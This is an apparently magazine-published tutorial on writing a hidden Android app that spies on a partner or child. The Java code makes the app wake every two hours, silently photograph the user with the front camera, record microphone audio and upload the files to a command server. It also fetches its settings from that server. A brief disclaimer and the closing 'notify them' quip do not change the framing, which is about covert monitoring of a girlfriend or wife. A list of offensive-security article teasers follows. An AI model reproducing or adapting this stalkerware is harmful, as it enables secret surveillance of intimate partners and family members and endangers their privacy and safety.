
Everyone cares about their significant others' security. We all know that feeling when your calls are not answered and your Whatsapp messages not marked as read. In a moment like that you would do a lot to have any idea what is happening there. Although cell phone carriers offer geolocation services to locate another user, knowing your girlfriend is somewhere in the middle of Main Street will barely help. So what can we do about it?

WARNING
All the information was obtained through author's personal research and is published for educational purposes. Neither the editorial staff nor the the author bear any responsibility for any damage caused by the intervention in the OS performance.
Setting goals
It's a good thing we live in happy times when just several lines of code can make your wish come true. Let's check what we can do with a regular Android phone.
Today we're going to write a short program that will work in background mode, gathering various data we need and then send it to a specified server.
We already created a similar nice application in one of our previous articles, but it was not able to run in the background. The reason lies in the app’s activity lifecycle. You are welcome to study this subject in detail. I'll give you just a brief description: once the system registers that the user stopped using an application, it goes to the queue for unloading from the memory to clear it for other tasks. So if we want the phone to collect the data throughout the day (and night) we should see to it.
We want our application to launch every now and then to take a photo with its front camera, record a short sound sample and send it all to a certain server. To make it flexible and adjustable let’s make it download a config file to check against once in a while.
Go!
Let's first create the XML configuration file. It will be downloaded once a day and parsed with XMLPullParser. In our case we should check for opening audio and photo tags. Clearly this class allow more opportunities, so creating flexible preferences will not be a problem. The preferences proper will be saved to Shared Preferences.
XmlPullParserFactory factory = XmlPullParserFactory.newInstance();
factory.setNamespaceAware(true);
XmlPullParser parser = factory.newPullParser();
// Downloading XML-file from the specified address by GET and read it using InputStream
HttpURLConnection urlConnection = null;
URL url = new URL("http://cc.server/config.xml");
urlConnection = (HttpURLConnection) url.openConnection();
urlConnection.setRequestMethod("GET");
urlConnection.connect();
InputStream input = urlConnection.getInputStream();
parser.setInput(input, null);
int eventType = parser.getEventType();
// Checking the XML-file for opening tags
while(eventType != XmlPullParser.END_DOCUMENT)
{
if(eventType == XmlPullParser.START_TAG)
{
if (parser.getName().contains("photo"))
{ConfigUpdater.isPhoto=true;}
else if (parser.getName().contains("audio"))
{ConfigUpdater.isAudio=true;}
eventType = parser.next();
}
}
AsyncTask class allows to perform a resource-intensive task in the background mode. For example we can download files in the background without causing lags in the main application used at that moment.
public class LoadConfig extends AsyncTask<String, Void,Boolean> {
private Exception exception;
@Override
protected Boolean doInBackground(String... urls) {
try
{
// running a separate process for downloading and reading the config file
parseXml();
}
catch (Exception e)
{
this.exception = e;
return null;
}
return null;
}
}
BroadcastReceiver class allows to sign up for receiving notifications on upcoming events in the OS. Upon receiving such notification the application will run the list of commands assigned by the developer. So after the OS registers the application as a recipient of certain notifications, it will run onReceive in appropriate class once the indicated event takes place. This works even if the phone's screen is locked or another demanding application is in use.
public void onReceive(Context context, Intent intent) {
// We use AsyncTask to download and process the config file
new LoadConfig().execute();
// The results are put in SharedPreferences
sp = context.getSharedPreferences("Config", context.MODE_PRIVATE);
sp.edit().putBoolean("isAudio", isAudio).commit();
sp.edit().putBoolean("isPhoto", isPhoto).commit();
}
The camera in Android can be accessed via graphical Intent or without user taking any actions. The latter makes it possible to take photos absolutely imperceptibly. We only need to determine the camera ID and use onPictureTaken method in PictureCallBack class.
private int findFrontFacingCamera() {
int cameraId = -1;
int numberOfCameras = Camera.getNumberOfCameras();
for (int i = 0; i < numberOfCameras; i++)
{
CameraInfo info = new CameraInfo();
Camera.getCameraInfo(i, info);
// Looking through all the cameras to select the front camera
if (info.facing == CameraInfo.CAMERA_FACING_FRONT)
{
cameraId = i;
break;
}
}
return cameraId;
}
cameraId = findFrontFacingCamera();
// Creating a new instance of the PhotoHandler class. We need it for saving a photo
PhotoHandler phHandler = new PhotoHandler(camera);
phHandler.setFile(file);
camera.reconnect();
camera.startPreview();
camera.takePicture(null, null,phHandler);
Here is how the PhotoHandler is carried out. When creating a photo the OS will call the onPictureTaken method. It will receive a byte array containing the photo as its argument.
public class PhotoHandler implements PictureCallback {
@Override
public void onPictureTaken(byte[] data, Camera camera) {
// Writing the byte array in the file
FileOutputStream fos = new FileOutputStream(pictureFile);
fos.write(data);
fos.close();
ourCamera.release();
...
}
}
Recording the mic input will be just as easy. We will use MediaRecorder to do it. This class allows to record sound and video depending on the parameters we set. We will work only with sound this time.
MediaRecorder myAudioRecorder;
String outputFile = audioFile.toString();
myAudioRecorder=new MediaRecorder();
// The sound should be recorded from the mic to 3GP format, sound processing algorithm AMR_NB myAudioRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
myAudioRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
myAudioRecorder.setAudioEncoder(MediaRecorder.OutputFormat.AMR_NB);
According to the manual, the method (onReceive) called by BroadcastReceived will be terminated after 10 seconds. To record a longer sample we will create a separate thread using the Service class.
Intent audioIntent = new Intent(context, AudioService.class);
context.startService(audioIntent);
When the service is started, the mic sound will be recorded by the onHandleIntent method.
public class AudioService extends IntentService {
@Override
protected void onHandleIntent(Intent intent) {
recordAudio();
}
...
}
The easiest way to upload the data is an ordinary POST request. We will use the HttpUrlConnection class for it.
FileInputStream fileInputStream = new FileInputStream(new File(myFile) );
URL myUrl = new URL("http://cc.server/upload.php");
HttpURLConnection connection = (HttpURLConnection) myUrl.openConnection();
connection.setDoInput(true);
connection.setDoOutput(true);
connection.setUseCaches(false);
// Initializing the POST request
connection.setRequestMethod("POST");
connection.setRequestProperty("Connection", "Keep-Alive");
connection.setRequestProperty("Content-Type", "multipart/form-data;boundary="+boundary);
// Opening a connection with the server and sending the file outputStream = new DataOutputStream( connection.getOutputStream() );
outputStream.writeBytes(twoHyphens + boundary + lineEnd);
// Describing the request content according to RFC 1806
outputStream.writeBytes("Content-Disposition: form-data; name=\"uploadedfile\";filename=\"" + myFile +"\"" + lineEnd);
outputStream.writeBytes(lineEnd);
bytesAvailable = fileInputStream.available();
bufferSize = Math.min(bytesAvailable, maxBufferSize);
buffer = new byte[bufferSize];
// Reading the file into buffer at the same time fixing its size
bytesRead = fileInputStream.read(buffer, 0, bufferSize);
while (bytesRead > 0)
{
outputStream.write(buffer, 0, bufferSize);
bytesAvailable = fileInputStream.available();
bufferSize = Math.min(bytesAvailable, maxBufferSize);
bytesRead = fileInputStream.read(buffer, 0, bufferSize);
}
outputStream.writeBytes(lineEnd);
outputStream.writeBytes(twoHyphens + boundary + twoHyphens + lineEnd);
Now to make it all work we will enable our application to get system events notifications. The AlarmManager class allows us to schedule the launch of our application, let's make it every two hours. You are welcome to read the manual for more information.
Intent intentConfig = new Intent(this, ConfigUpdater.class);
PendingIntent pIConfig = PendingIntent.getBroadcast(this.getApplicationContext(), 31337, intentConfig, 0);
AlarmManager aMConfig = (AlarmManager) getSystemService(ALARM_SERVICE);
// From now on the app will start every two hours
aMConfig.setRepeating(AlarmManager.RTC_WAKEUP, System.currentTimeMillis(), 7200000, pIConfig);
We also need to modify the AndroidManifest file so that our application could get permissions from the OS for creating files, Internet access, taking photographs, sound recording and reacting upon system events. During the installation of the app the system will notify the user about all the above (except for the system events). This is why it is important to pay attention to what permissions you give to an application. If a solitaire app requests permission to use the camera, it might be a malware solitaire.

INFO
Here we have described only a small part of the possibilities one can exploit. Now it’s clear why on a crucial meeting you should switch off your mobile phone and not just switch it to the airplane mode.
Well, that's it. Now your child, wife or your geek cat are free to go. Don't forget to notify them in advance about their brand new life logging capabilities. We do not want to spy on people here, don't we? We wish you good luck and peace of mind.

2023.04.19 — Kung fu enumeration. Data collection in attacked systems
In penetration testing, there's a world of difference between reconnaissance (recon) and data collection (enum). Recon involves passive actions; while enum, active ones. During recon,…
Full article →
2022.06.02 — Climb the heap! Exploiting heap allocation problems
Some vulnerabilities originate from errors in the management of memory allocated on a heap. Exploitation of such weak spots is more complicated compared to 'regular' stack overflow; so,…
Full article →
2023.07.07 — VERY bad flash drive. BadUSB attack in detail
BadUSB attacks are efficient and deadly. This article explains how to deliver such an attack, describes in detail the preparation of a malicious flash drive required for it,…
Full article →
2022.06.01 — Log4HELL! Everything you must know about Log4Shell
Up until recently, just a few people (aside from specialists) were aware of the Log4j logging utility. However, a vulnerability found in this library attracted to it…
Full article →
2022.01.12 — Post-quantum VPN. Understanding quantum computers and installing OpenVPN to protect them against future threats
Quantum computers have been widely discussed since the 1980s. Even though very few people have dealt with them by now, such devices steadily…
Full article →
2023.03.03 — Infiltration and exfiltration. Data transmission techniques used in pentesting
Imagine a situation: you managed to penetrate the network perimeter and gained access to a server. This server is part of the company's internal network, and, in theory, you could…
Full article →
2022.06.01 — WinAFL in practice. Using fuzzer to identify security holes in software
WinAFL is a fork of the renowned AFL fuzzer developed to fuzz closed-source programs on Windows systems. All aspects of WinAFL operation are described in the official documentation,…
Full article →
2023.07.20 — Evil modem. Establishing a foothold in the attacked system with a USB modem
If you have direct access to the target PC, you can create a permanent and continuous communication channel with it. All you need for this…
Full article →
2023.03.03 — Nightmare Spoofing. Evil Twin attack over dynamic routing
Attacks on dynamic routing domains can wreak havoc on the network since they disrupt the routing process. In this article, I am going to present my own…
Full article →
2022.06.01 — Routing nightmare. How to pentest OSPF and EIGRP dynamic routing protocols
The magic and charm of dynamic routing protocols can be deceptive: admins trust them implicitly and often forget to properly configure security systems embedded in these protocols. In this…
Full article →